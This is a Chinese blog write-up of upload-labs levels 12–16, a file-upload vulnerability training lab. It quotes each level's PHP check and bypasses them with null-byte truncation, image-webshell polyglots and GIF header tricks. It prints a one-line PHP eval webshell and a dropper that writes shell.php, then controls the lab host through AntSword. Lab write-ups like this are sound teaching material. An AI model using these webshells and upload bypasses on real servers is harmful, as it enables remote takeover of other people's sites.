文件上传 upload-labs Pass 12-16

Pass12 GET00%截断

审计源码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    // 定义一个允许上传文件的数组
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    // 获取上传文件后缀名
    if(in_array($file_ext,$ext_arr)){
      // in_array会判断上传文件后缀名是否在ext_arr数组中,如果存在,则继续执行
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
        // 通过GET请求方法获取 save_path 保存的目录,这里可以使用 php00阶段
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

这次的代码升级了,和之前的不一样,这次是白名单,只允许jpg|png|gif后缀文件
这里可以通过 $_GET['save_path'] 进行 00截断 文件上传

php00阶段

存在于php低于 5.3.4的版本中

攻击者可以构造类似这样的语句
$_GET["filename"] ,通过抓包修改 filename=test.php%00.txt
php读取后缀名会重右往左读取,读取到我们的文件,首先读取到.txt文件,遇到了%00认为就结束了,不在往前读取代码就会认为我们上传的文件为.txt文件,导致可绕过文件上传的上传、包含等检测

使用burpsuite抓包进行文件上传,这里我们上传一个a.jpg,内容为<?php phpinfo();?>

文件上传成功

Pass-13 POST00%截断

审计源码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

和上Pass-11是一样的,不过是将$_GET['save_path']改为了$_POST['save_path'],将GET传参改为了POST
需要注意的是,POST传参会进行转义,所以我们的%00需要在burpsuite Hex十六进制模式添加00进行修改
首先上传a.jpg,文件内容为<?php phpinfo();?>

进入Hex模式后,找到输入的love.php内容

这在我们07后方加入一个字节为00


上传成功,访问测试

Pass-14 图片木马

在Pass13里变为了上传图片码的任务,需要我们上传图片木马,然后进行文件包含php文件

那么这里就好玩了,我们可以上传一个一句话木马,或者上传一个需要我们访问生成木马的php文件,当然也可以后续上传大马
审计源码

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

使用javascript获取了我们文件的前两个字节来验证是否为图片,这里我首先想到的是禁用javascript,是不行的,因为php会检查file_type函数是否为noknown
这里我们还是老老实实的合成一个图片mua,首先准备一张图片和php文件放在同一目录,这里我的图片名为image.jpg,木马为muma.php,内容为<?php phpinfo();?>

url输入cmd在当前目录进入命令行,执行命令copy image.jpg /b + muma.php /a target.jpg
会在当前目录生成一个target.jpg

使用记事本打开target.jpgCtrl + F搜索php找到我们合成图片木马的php代码位置


这里我们的图片木马生成成功,进行图片木马上传测试

可以看到上传成功,使用文件包含测试,在upload-labs靶机中自带文件包含页面,在主目录的文件名为include.php

观察只需要通过GET方法传参file变量图片木马的目录就可以进行文件包含
进行文件包含http://靶机地址/include.php?file=./upload/上传文件名
由于对图片马进行的文件名进行了一个名称的加固所以我需要获取上传到服务器的文件名,可以通过右键查看源代码看到

这里为8120220408164903.jpg
进行文件包含http://172.16.1.102/include.php?file=./upload/8120220408164903.jpg

这里我并没有包含成功,可能是图片的问题,后来换了一张图片测试成功

包含生成木马文件

我们也可以上传一个一句话木马<?php @eval($_POST[cmd]);?>直接包含进行连接,也可以上传一个生成一句话木马的图片马,当然也有各种姿势进入,可玩性很高
这里我们上传一个生成一句话木马的图片马
php代码内容为,

<?php fwrite(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>');?>

然后使用copy image.jpg /b + aaa.php /a create.jpg进行图片马合成,生成create.jpg

将图片木马上传

进行文件包含http://172.16.1.101/upload-labs/include.php?file=upload/4920220409090629.jpg

这是会在靶机包含当前目录生成一个shell.php文件,是我们的一句话木马,使用蚁剑进行连接测试
右键空白区域 -> 添加输入

输入木马的地址和密码cmd,点击测试连接 -> 连接成功

点击保存双击可以进入靶机shell.php所在目录的文件结构,也可以对文件进行一些操作

右键 -> 虚拟终端进入靶机命令行 执行系统命令

这样就完成了
任务是jpg png gif文件都要上传才算通过,jpg已经测试过了

png

png图片这里我遇到一个坑,合成木马和jpg一样copy 图片.png/b+木马.php/a 生成图片木马.png
这里建议使用 画图工具 进行生成图片,然后再进行合成、上传、包含

gif

gif只需要在文件的头部添加GIF89即可,然后将文件后缀名后缀名改为gif

Pass-15 getimagesize图片检查

审计源码

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

Pass-14类似,也会检查图片的内容是否为图片,使用getimagesize()函数获取
可以模拟看一下getimagesize()函数检查的内容,模拟file.html上传文件提交给file.php
file.html内容

<html>
<head></head>
<body></body>
<form enctype="multipart/form-data" action="file.php" method="POST">
    Send this file: <input name="userfile" type="file" />
    <input type="submit" value="Send File" />
</form>
</html>

file.php内容

<?php
$tmp_file = $_FILES['userfile']['tmp_name'];
$info = getimagesize($tmp_file);
print_r($info);
?>

模拟一个文件上传进行提交,会打印出getimagesize获取到的信息

提交后查看file.php打印内容

分别获取了

Array ( 
[0] => 1152   // 文件宽像素
[1] => 648    // 文件高像素
[2] => 3      // 文件类型,常见的 1 = GIF,2 = JPG,3 = PNG
[3] => width="1152" height="648" 
[bits] => 8   // 图像每种颜色二进制的位数
[mime] => image/png )  // 文件 mime 类型

所以,我们还算是可以通过合成图片木马进行绕过,和Pass-14完全一样的步骤,这里不在演示

Pass-16 exif_imagetype图片检查

审计源码

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

通过观察源代码需要开启php_exifphp模块,使用的是exif_imagetype检查文件类型,与Pass14、15类似
只需要合成图片木马即可绕过

posted @ 2022-04-08 15:04  Junglezt  阅读(228)  评论(0编辑  收藏  举报